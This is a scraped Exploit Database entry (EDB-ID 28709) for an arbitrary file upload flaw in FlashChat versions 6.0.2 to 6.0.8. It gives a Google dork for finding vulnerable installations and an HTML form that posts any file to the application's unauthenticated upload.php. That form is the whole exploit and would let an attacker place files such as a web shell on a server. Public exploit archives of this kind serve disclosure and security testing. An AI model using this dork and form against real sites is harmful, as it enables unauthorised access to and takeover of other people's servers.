

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

# FlashChat 6.0.2 < 6.0.8 - Arbitrary File Upload

**EDB-ID:**

28709

**CVE:**

**EDB Verified:** ✓

**Author:**

[X-HAYBEN21](#)

**Type:**

[WEBAPPS](#)

**Exploit:**  

**Platform:**

[PHP](#)

**Date:**

2013-10-04

**Vulnerable App:** 



EXPLOIT DATABASE

EXPLOITS

GHDB

PAPERS

SHELLCODES

SEARCH EDB

SEARCHSPLOIT MANUAL

SUBMISSIONS

ONLINE TRAINING

```
#####
# Exploit Title: FlashChat File Upload Vulnerability
# Google Dork: intitle:FlashChat v6.0.8
# Date: 02.10.2013
# Exploit Author: x-hayben21
# Vendor Homepage: www.punish3r.com
# Software Link: http://www.tufat.com/script2.htm
# Version: v6.0.8, v6.0.2, v6.0.4, v6.0.5, v6.0.6, v6.0.7,
# Tested on: Windows, PHP 5.2
#
# Special Thanks : MaXtoR - PoLoNia
#####

#Vulnerable File : upload.php

#Exploit
<form action="http://sites/script/upload.php" method="post"
 enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="Submit">
</form>
```

Tags:

Advisory/Source: [Link](#)



Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)

[PRIVACY](#)

[ABOUT US](#)

[FAQ](#)

[COOKIES](#)

OffSec Services Limited 2026. All rights reserved.